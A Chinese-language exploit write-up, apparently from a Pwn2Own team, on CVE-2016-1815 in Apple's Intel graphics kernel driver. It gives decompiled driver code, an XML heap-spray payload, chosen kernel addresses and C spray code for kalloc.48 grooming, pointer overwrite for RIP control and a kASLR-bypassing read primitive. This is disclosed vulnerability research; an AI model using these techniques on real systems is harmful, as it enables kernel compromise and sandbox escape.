一个矩形pwn掉整个内核系列之一 – zone的舞蹈
一个矩形pwn掉整个内核?这听起来很马德里不思议,然而这真实地发生在了今年3月份温哥华的Pwn2Own赛场。这一系列文章会向大家分享我们这次沙箱逃逸用到的Blitzard
CVE-2016-1815的发现和利用经历。我们通过三步走最终完成了这个利用,本文将先问大家介绍第二和第三步 – kalloc.48的舞蹈
和kalloc.8192 重剑无锋
,在最后一篇文章中,我们会回到本源,介绍这个漏洞的起因。
Take away
我们利用了一个vector的oob越界,通过精心的堆内存布局,将其转换为任意地址写但值受限的primitive,随后通过多次利用这个primitive实现infoleak来bypass KASLR和最终控制RIP。
IGVector::add函数
char __fastcall IGVector<rect_pair_t>::add(IGVector *this, rect_pair_t *a2)
{
v3 =;
if ( this->currentSize != this->capacity )
goto LABEL_4;
LOBYTE(v4) = IGVector<rect_pair_t>::grow(this, 2 * v3);
if ( v4 )
LABEL_4:
this->currentSize += 1;
v5 =;
*(this->storage + 32 * this->currentSize + 24) = a2->field_18; //rect2.len height
*(this->storage + 32 * this->currentSize + 16) = a2->field_10; //rect2.y x
*(this->storage + 32 * this->currentSize + 8) = a2->field_8; //rect1.len height
*(this->storage + 32 * this->currentSize) = a2->field_0; //rect1.y x
}
return v4;
IGVector
是一个在苹果Graphics驱动中使用很频繁的泛型模版类,它的头部是currentSize
field, 后面紧跟一个capacity
field,记录着当前vector的最大容量。这个field之后是storage
指针,代表着这个vector的存储区域的堆地址。 rect_pair_t
则是一个矩形对,每个矩形唯一表达了屏幕上的某个绘制区域,他的field如下所示:
- int16 x
- int16 y
- int16 w
- int16 h
x,y
代表了矩形角的坐标,而同时w,h
代表了矩形的宽度和高度,这四个元素就可以在坐标系中惟一确定一个矩形。最开始的时候这些矩形是以整形的形式存在的,但经历了一系列缩放和切分运算后,其变换成了IEEE.754的浮点数。这些浮点数相关的运算给我们逆向驱动带来了一些困难,因为IDA的F5插件基本无法很好地识别和组织SSE浮点指令。同时这也限制了我们的OOB写可以控制的内容。
在这个OOB发生的时候,内存的布局如下图所示: 可以发现,IGVector::add
函数调用发生在一个部分越界的48-size IGVector
上。但这里size
field被钉死在0xdeadbeefdeadbeef,是因为kalloc.48比cacheline的大小要小,所以在free之后一定会被zone allocator所染色。所幸capacity
和storage
这两个是我们可以想办法控制的。如果能满足以下条件,那么我们就有了一个跨越全部地址空间的任意地址写。
令 则 且
但这里仍然不是一个写任意值的primitive。如前文所述,矩形的fields以signed int16形式存在,也就是说在[-0x8000, 0x7ffff]的范围之内。当触发OOB的函数被调用的时候,他们已经被处理成了IEEE.754的浮点数,也就意味着我们只能用这个primitive去触发四次连续的两个值在范围[0x3…, 0x4…., 0xc…., 0xd…., 0xbf800000]的4字节内容(其中0xbf800000是-1的浮点数表达)写,最终写掉了32bytes的内存内容。
看起来这个不是什么好消息,但是这里我们需要先想办法把这个不太好的写先稳定化,然后再来介绍如何用这个写完成最终的利用。
控制zone kalloc.48
如上面的图所示,我们需要精确地控制溢出发生时对应的内存内容,否则就会产生bad access导致内核崩溃。不幸的是kalloc.48刚好是一个内核中比较活跃的zone,其中IOMachPort
是最大的活跃分子。不言自明的是,IOMachPort
的内存内容并不是我们可以控制的,也就是说我们需要避免其的干扰。
纵观历史,人们常用的内存布局方法是用io_open_service_extended
和ool_msg
去布局kernel堆。但是它们有各自的优缺点: – ool_msg
对堆的副作用小,但是头部0x18字节的内容是不可控的,而我们这个漏洞刚好是需要头部0x8字节的精确8字节控制 – io_open_service_extended
会在kalloc.48中造成巨大的副作用,因为我们每次实现堆喷时都会造成一个新的IOMachPort
被分配
我们在这里发现并使用了一个新的堆喷方法:IOCatalogueSendData
. 如下面的代码片段所示。只需一个masterPort即可实施堆喷,堆副作用小,非常节能和环保 🙂
IOCatalogueSendData(
mach_port_t _masterPort,
uint32_t flag,
const char *buffer,
uint32_t size )
{
//...
kr = io_catalog_send_data( masterPort, flag,
(char *) buffer, size, &result );
//...
if ((masterPort != MACH_PORT_NULL) && (masterPort != _masterPort))
mach_port_deallocate(mach_task_self(), masterPort);
//...
}
/* Routine io_catalog_send_data */
kern_return_t is_io_catalog_send_data(
mach_port_t master_port,
uint32_t flag,
io_buf_ptr_t inData,
mach_msg_type_number_t inDataCount,
kern_return_t * result)
{
//...
if (inData) {
//...
kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t)inData);
data = CAST_DOWN(vm_offset_t, map_data);
// must return success after vm_map_copyout() succeeds
if( inDataCount ) {
obj = (OSObject *)OSUnserializeXML((const char *)data, inDataCount);
//...
switch ( flag ) {
//...
case kIOCatalogAddDrivers:
case kIOCatalogAddDriversNoMatch: {
//...
array = OSDynamicCast(OSArray, obj);
if ( array ) {
if ( !gIOCatalogue->addDrivers( array ,
flag == kIOCatalogAddDrivers) ) {
//...
}
break;
//...
}
bool IOCatalogue::addDrivers(
OSArray * drivers,
bool doNubMatching)
{
//...
while ( (object = iter->getNextObject()) ) {
// xxx Deleted OSBundleModuleDemand check; will handle in other ways for SL
OSDictionary * personality = OSDynamicCast(OSDictionary, object);
//...
// Add driver personality to catalogue.
OSArray * array = arrayForPersonality(personality);
if (!array) addPersonality(personality);
else
{
count = array->getCount();
while (count--) {
OSDictionary * driver;
// Be sure not to double up on personalities.
driver = (OSDictionary *)array->getObject(count);
//...
if (personality->isEqualTo(driver)) {
break;
}
}
if (count >= 0) {
// its a dup
continue;
}
result = array->setObject(personality);
//...
set->setObject(personality);
}
//...
}
addDrivers
函数接受满足以下条件的OSArray
作为输入: – OSArray
中包含了OSDict
– OSDict
包含key IOProviderClass
– OSDict
不能和已经存在于Catalogue的OSDict
重复
我们可以以下面的XML格式去准备我们的布局payload,并通过IOCatalogueSendData(masterPort, 2, buf, 4096)去发送他们,想发送多少次就发送多少次 🙂
<array>
<dict>
<key>IOProviderClass</key>
<string>ZZZZ</string>
<key>ZZZZ</key>
<array>
<string>AAAAAAAAAAAAAAAAAAAAAA</string>
<string>AAAAAAAAAAAAAAAAAAAAAB</string>
...
<string>ZZZZZZZZZZZZZZZZZZZZZZ<string>
</array>
</dict>
</array>
有了这个方法之后,我们就有了在kalloc.48中玩耍的步骤了: – 喷射1个vm_map_copy
和50个IOCatalogueSendData
(内容我们完全可控)的组合,大小都是0x30 – 将1/3至2/3部分的ool_msg
释放,在堆中挖坑 – 触发漏洞,让人掉坑里。 因为我们挖的坑足够多,堆的布局会趋向于稳定,有极大的概率满足我们的预期,允许我们实现稳定的和多次的任意地址写,完成三步走的第一步。
至于后面呢?
用一个float控制RIP
当我们有了一个稳定的write后,怎么去控制RIP?一个naive的想法是直接写掉userclient的虚表指针。但受漏洞本身写范围的限制,这是不可行的,如下图所示: 注意kernel中0xbf开头的地址空间是非法地址。
不过感谢x86中的mov指令并没有要求我们严格8字节对齐,事实上我们可以做一个4字节对齐的写,如下图所示:
看起来像那么回事了,但事情还没这么简单。在浩如烟海的userclient中,只有RootDomainUserClient
的vtable指针地址高字节是0xffffff80,而其他的userclient vtable指针高地址都是在0xffffff7f,然而根据kASLR的特性kernel堆地址基本不可能占据这个区域。 那么去写掉RootDomainUserClient
是否可行?
怎么喷的这么慢?
由于RootDomainUserClient
大小比较小,我们需要喷射大量的该userclient来保证在某些预测的地址有比较大的概率userclient会布局在那。在实践的过程中我们发现喷射的速度随着userclient的个数增加而成二次方形式下降。我们调查了一些相关的代码,如下图所示:
bool IORegistryEntry::attachToParent( IORegistryEntry * parent,
1621 const IORegistryPlane * plane )
1622 {
1623 OSArray * links;
1624 bool ret;
1625 bool needParent;
//...
1635 ret = makeLink( parent, kParentSetIndex, plane );
1636
1637 if( (links = parent->getChildSetReference( plane )))
1638 needParent = (false == arrayMember( links, this ));
1639 else
1640 needParent = true;
1641
//...
1669 if( needParent)
1670 ret &= parent->attachToChild( this, plane );
1671
1672 return( ret );
我们可以看到arrayMember
对已经attach的client做线性查找,如果你上过学的话就应该意识到这是个O(N^2)的复杂度。
后面的代码让这个复杂度变得更加高了。当userclient被打开之前,他们要先attach到对应的parent上,这会调用到parent->attachTochild
bool IORegistryEntry::attachToChild( IORegistryEntry * child,
1684 const IORegistryPlane * plane )
1685 {
1686 OSArray * links;
//...
1694
1695 ret = makeLink( child, kChildSetIndex, plane );
```
then
```
bool IORegistryEntry::makeLink( IORegistryEntry * to,
1314 unsigned int relation,
1315 const IORegistryPlane * plane ) const
1316 {
1317 OSArray * links;
1318 bool result = false;
//...
1323 result = arrayMember( links, to );
1324 if( !result)
1325 result = links->setObject( to );
1326
1327 } else {
这里links
是一个OSArray,而setObject
将新的userclient插入到了array存储中,然后调用了一个耗时的函数:
unsigned int OSArray::ensureCapacity(unsigned int newCapacity)
185 {
//...
203 newArray = (const OSMetaClassBase **) kalloc_container(newSize);
204 if (newArray) {
205 oldSize = sizeof(const OSMetaClassBase *) * capacity;
206
207 OSCONTAINER_ACCUMSIZE(((size_t)newSize) - ((size_t)oldSize));
208
209 bcopy(array, newArray, oldSize);
210 bzero(&newArray[capacity], newSize - oldSize);
211 kfree(array, oldSize);
212 array = newArray;
那么这一圈看下来的结论是,喷射userclient具有O(N^2)的时间复杂度,这强迫我们要选用大的userclient进行堆喷,因为今年的比赛机型MacBook用的是可以忽略的CoreM处理器,会让exploit跑得比蜗牛还慢,如果我们还吊死在RootDomainUserClient
这一棵树上的话。
IGAccelVideoContext来救场了
我们基于以下条件继续搜寻可以用的userclient: – 必须能从沙箱中打开和调用 – 大小必须大于PAGESIZE,越大越好
占据两个PAGE的IGAccelVideoContext
正是我们所要寻找的救世主. 基本上所有的IOAcceleratorFamily2 userclient都有一个service
指针指向IntelAccelerator
,对于IGAccelVideoContext
来说,在0x528的位置。我们可以写掉这个堆地址的低4字节来将其指向我们可控的堆内容上,触发其中的virtual call。
RIP control
虽然说这里有虚函数调用,但是我们不能直接去调用service
的虚函数,因为前面提到vm_map_copy
布置的内容头部是不可控的。这里context_finish
接口在service->mEventMachine
上间接调用了虚函数,刚好满足了我们的需求。
__int64 __fastcall IOAccelContext2::context_finish(IOAccelContext2 *this)
{
int v1; // eax@1
unsigned int v2; // ecx@1
v1 = this->service->mEventMachine->vt->__ZN24IOAccelEventMachineFast219finishEventUnlockedEP12IOAccelEvent(
this->service->mEventMachine,
那么现在我们调整方向,去写掉任一个IGAccelVideoContext
的service
field. 在对具体的堆地址一无所知的情况下,我们只好继续喷喷喷。具体的步骤如下: – 喷 0x50,000 ool_msgs, 把堆推高到0xffffff80 bf800000 (地址B
) – 把中间的释放掉,喷IGAccelVideoContext, 保证中间地址A
0xffffff80 62388000 被其占据 – 触发漏洞,写A - 4 + 0x528
, 将service
指针写成0xffffff80 bf800000 (地址B) – 调用这些喷的userclient的externalmethod,检查corruption
为什么我们选择了A和B这两个看似是magic number的地址?前面我们提到,我们只能写特定范围内的float,举个例子我们可以把0xffffff80 deadbeef 写成 0xffffff80 3xxxxxxx, 0xffffff80 4xxxxxxx, 0xffffff80 cxxxxxxx, 0xffffff80 dxxxxxxx and 0xffffff80 bf800000. 但这么多地址里,要么就太低(kslide每次启动的时候会变化,高slide会把堆基地址推高到0xffffff80 4xxxxxxx),要么就太高(内存不够,喷太费时)。所以最终我们选择写0xbf800000,取一半就是A.
这部分步骤如下代码所示:
mach_msg_size_t size = 0x2000;
mach_port_name_t my_port[0x500];
memset(my_port, 0, 0x500 * sizeof(mach_port_name_t));
char *buf = malloc(size);
memset(buf, 0x41, size);
*(unsigned long *)(buf - 0x18 + 0x1230) = 0xffffff8062388000 - 0xd0 + 2;
*(unsigned long *)(buf - 0x18 + 0x230) = 0xffffff8062388000 - 0xd0 + 2;
for (int i = 0; i < 0x500; i++) {
*(unsigned int *)buf = i;
printf("number %x success with %x.\n",i , send_msg(buf, size, &my_port[i]));
}
for (int i = 0x130; i < 0x250; i++)
{
read_kern_data(my_port[i]);
}
printf("press enter to fill in IOSurface2.\n");
io_service_t serv = open_service("IOAccelerator");
io_connect_t *deviceConn2;
deviceConn2 = malloc(0x12000 * sizeof(io_connect_t));
kern_return_t kernResult;
for (int i =0; i < 0x12000; i ++)
{
kernResult = IOServiceOpen(serv, mach_task_self(), 0x100, &deviceConn2[i]);
printf("%x with result %x.\n", i , kernResult);
}
这张图会看得更清楚些。
那么这事情到这就结束了?还远远没有。
头部还是中间?
聪明的读者可能前面就会有问题了,你喷的是0x2000,凭啥保证A刚好在你喷的userclient头?可能会在中间嘛。
对的,确实是这样。如果落在中间的话,我们需要写掉 A - 4 + 0x528
和 A - 4 + 0x528 + 0x1000
来保证覆盖到两种情况。
Bypassing kASLR
kASLR怎么过? 现在我们知道地址A被IGAccelVideoContext
覆盖,地址B被我们喷的vm_map_copy
覆盖。既然我们已经让指针指向假的布局的userclient了,有没有什么接口可以返回一个userclient中某段地址的内容? 通过搜寻发现了get_hw_steppings
`\
__int64 __fastcall IGAccelVideoContext::get_hw_steppings(IGAccelVideoContext *a1, _DWORD *a2)
{
__int64 service; // rax@1
service = a1->service;
*a2 = *(_DWORD *)(service + 0x1140);
a2[1] = *(_DWORD *)(service + 0x1144);
a2[2] = *(_DWORD *)(service + 0x1148);
a2[3] = *(_DWORD *)(service + 0x114C);
a2[4] = *(unsigned __int8 *)(*(_QWORD *)(service + 0x1288) + 0xD0LL);
return 0LL;
}
`\
注意这行
`\
a24 = *(unsigned __int8 *)(*(_QWORD *)(service + 0x1288) + 0xD0LL);
`\
回忆service+0x1288
已经被我们所控制了,那么这就是一个完美的任意地址读的primitive。我们采取如下步骤: – 在B处填充vm_map_copy – 触发漏洞,覆盖service pointer指向B,意味着其指向了填充着0x4141414141414141的vm_map_copy(除了0x1288处设置为A-0xD0) – 调用get_hw_steppings来检测41414141,如果返回这个结果,那么这个userclient已经被我们修改了 – a24就返回了A地址的1个字节,重复以上步骤,读取全部内容
下图会让你理解得更清楚。
又是头部还是中间
聪明的读者估计又会意识到,B可能也会掉落在vm_map_copy的中间,和A一样。 对于B的问题,和上文的解决方法一样,我们将0x1288和0x288都写成 A – 0xD0. 如果我们读的地方是 正常的IGAccelVideoContext
0x1000偏移处,那么根据其特性这里是0.
这意味着我们可以通过这个特征去区分头尾,最多两次尝试,如下图所示。 最终实现任意地址泄漏
总结
关于这个攻破的视频可以在http://v.qq.com/x/page/f0196p3g7vq.html 找到。
那么这个神奇的矩阵漏洞到底什么呢?利用都这么复杂了,漏洞究竟如何?请期待后续文章。如果等不急的话,请看我们在Blackhat USA上的PPT解馋 🙂
Pingback: 一周信息安全干货分享(第75期) – Guge's blog